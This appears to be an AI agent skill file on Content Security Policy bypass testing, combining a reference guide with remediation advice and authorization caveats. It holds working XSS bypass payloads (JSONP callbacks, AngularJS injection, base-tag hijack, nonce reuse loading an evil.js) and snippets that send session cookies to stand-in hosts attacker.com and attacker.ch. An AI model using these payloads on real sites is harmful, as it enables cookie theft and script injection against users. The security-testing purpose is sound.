Hacktricks-skills csp-bypass-research
Content Security Policy (CSP) bypass research and testing for security assessments. Use this skill when analyzing CSP configurations, testing bypass techniques for authorized security assessments, or researching CSP vulnerabilities. Trigger when users mention CSP, Content-Security-Policy, CSP bypass, security policy testing, web security assessments involving CSP, or need to understand CSP bypass vectors for defensive purposes.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/content-security-policy-csp-bypass/content-security-policy-csp-bypass/SKILL.MDCSP Bypass Research Skill
A comprehensive guide for understanding and testing Content Security Policy bypass techniques in authorized security assessments.
Quick Reference
When to Use This Skill
- Analyzing CSP headers for security assessments
- Testing CSP configurations in your own applications
- Understanding CSP bypass vectors for defensive purposes
- Researching CSP vulnerabilities in CTFs or authorized pentests
- Generating CSP bypass payloads for testing
Core Concepts
CSP Purpose: Content Security Policy is a browser security feature that helps prevent XSS attacks by controlling which resources can be loaded and executed.
Implementation Methods:
- Response header:
Content-Security-Policy: default-src 'self'; - Meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
Key Directives:
: Controls JavaScript sourcesscript-src
: Fallback for unspecified directivesdefault-src
: Controls image sourcesimg-src
: Controls fetch/XHR/WebSocket URLsconnect-src
: Controls iframe sourcesframe-src
: Controls object/embed elementsobject-src
: Controls base element URLsbase-uri
: Controls form submission endpointsform-action
Common Bypass Vectors
1. Unsafe Directives
'unsafe-inline'
Allows inline scripts to execute.
Test Payload:
"/><script>alert(1);</script>
'unsafe-eval'
Allows eval() and similar functions.
Test Payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
2. Third-Party Endpoint Abuses
JSONP Callbacks
When third-party domains are whitelisted, JSONP endpoints may allow arbitrary callbacks.
Example:
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
AngularJS Exploitation
Vulnerable AngularJS versions can be loaded from whitelisted CDNs.
Example:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> <div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//')}}</div>
3. Path-Based Bypasses
Relative Path Overwrite (RPO)
Exploits URL interpretation differences between browser and server.
Example:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Server-Side Redirection
Redirects can bypass path restrictions in CSP.
Example:
<script src="http://localhost:5555/301"></script> <!-- Redirects to: https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// -->
4. Missing Directives
Missing base-uri
Allows base tag injection to redirect relative script loads.
Example:
<base href="https://www.attacker.com/" />
Missing object-src
May allow object/embed exploitation (browser-dependent).
5. Nonce Reuse
If a nonce is visible in the page, it can potentially be reused.
Example:
<img src="x" ng-on-error=' doc=$event.target.ownerDocument; a=doc.defaultView.top.document.querySelector("[nonce]"); b=doc.createElement("script"); b.src="//example.com/evil.js"; b.nonce=a.nonce; doc.body.appendChild(b)' />
6. Policy Injection
If CSP policy can be modified via user input:
Chrome:
script-src-elem *; script-src-attr *
Edge:
;_
7. Exfiltration Techniques
DNS Prefetch
var sessionid = document.cookie.split("=")[1] + "."; var body = document.getElementsByTagName("body")[0]; body.innerHTML = body.innerHTML + '<link rel="dns-prefetch" href="//' + sessionid + 'attacker.ch">';
WebRTC
(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }); p.createDataChannel(""); p.setLocalDescription(await p.createOffer()); })();
Location Redirect
var sessionid = document.cookie.split("=")[1] + "."; document.location = "https://attacker.com/?" + sessionid;
Testing Workflow
Step 1: Identify CSP Configuration
-
Check response headers:
curl -I https://target.com | grep -i content-security-policy -
Check meta tags in HTML:
curl https://target.com | grep -i "http-equiv.*Content-Security-Policy" -
Check for Report-Only header:
curl -I https://target.com | grep -i "Content-Security-Policy-Report-Only"
Step 2: Analyze Directives
- Identify which directives are present/missing
- Note whitelisted third-party domains
- Check for 'unsafe-inline', 'unsafe-eval', 'strict-dynamic'
- Look for wildcard (*) sources
- Identify nonce/hash usage
Step 3: Test Bypass Vectors
Based on the CSP configuration, test relevant bypass vectors:
- If 'unsafe-inline' present: Test inline script injection
- If third-party domains whitelisted: Test JSONP/callback abuse
- If path restrictions exist: Test RPO and redirection
- If base-uri missing: Test base tag injection
- If nonce visible: Test nonce reuse
Step 4: Document Findings
Record:
- CSP configuration
- Tested bypass vectors
- Successful bypasses
- Impact assessment
- Remediation recommendations
Remediation Guidance
Strong CSP Configuration
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-{random-nonce}'; style-src 'self' 'nonce-{random-nonce}'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; upgrade-insecure-requests; block-all-mixed-content; report-uri /csp-report;
Key Recommendations
- Use nonces or hashes instead of 'unsafe-inline'
- Avoid wildcards in source lists
- Specify all relevant directives (don't rely on default-src)
- Use Report-Only for testing before enforcement
- Monitor CSP reports for violations
- Keep third-party domains minimal
- Implement strict path restrictions
- Use frame-ancestors to prevent clickjacking
Tools and Resources
CSP Analysis Tools
Reference Materials
Important Notes
Legal and Ethical Considerations
- Only test systems you own or have explicit authorization to test
- Document all testing activities
- Report findings responsibly
- Use this knowledge for defensive purposes
Browser Differences
CSP implementation varies between browsers. Always test in multiple browsers:
- Chrome/Chromium
- Firefox
- Safari
- Edge
CSP Versions
- CSP 1.0: Legacy, limited support
- CSP 2.0: Current standard
- CSP 3.0: Latest, includes new directives
Script Integration
Use the bundled scripts for:
: Analyze CSP headers from a URLanalyze-csp.sh
: Generate a CSP configurationgenerate-csp.sh
: Test common bypass vectorstest-csp-bypass.sh
Run scripts with:
./scripts/analyze-csp.sh https://target.com ./scripts/generate-csp.sh --strict ./scripts/test-csp-bypass.sh --help
Troubleshooting
Common Issues
- CSP not being applied: Check for typos in header name, ensure no output before header()
- False positives in reports: Review report-uri data for legitimate violations
- Breaking functionality: Use Report-Only mode first, gradually tighten policy
- Third-party scripts blocked: Add specific domains to script-src
Debugging
- Check browser console for CSP violations
- Review CSP report endpoint logs
- Use browser DevTools Security panel
- Test in Report-Only mode before enforcement
Remember: This skill is for authorized security testing and defensive purposes only. Always obtain proper authorization before testing any system.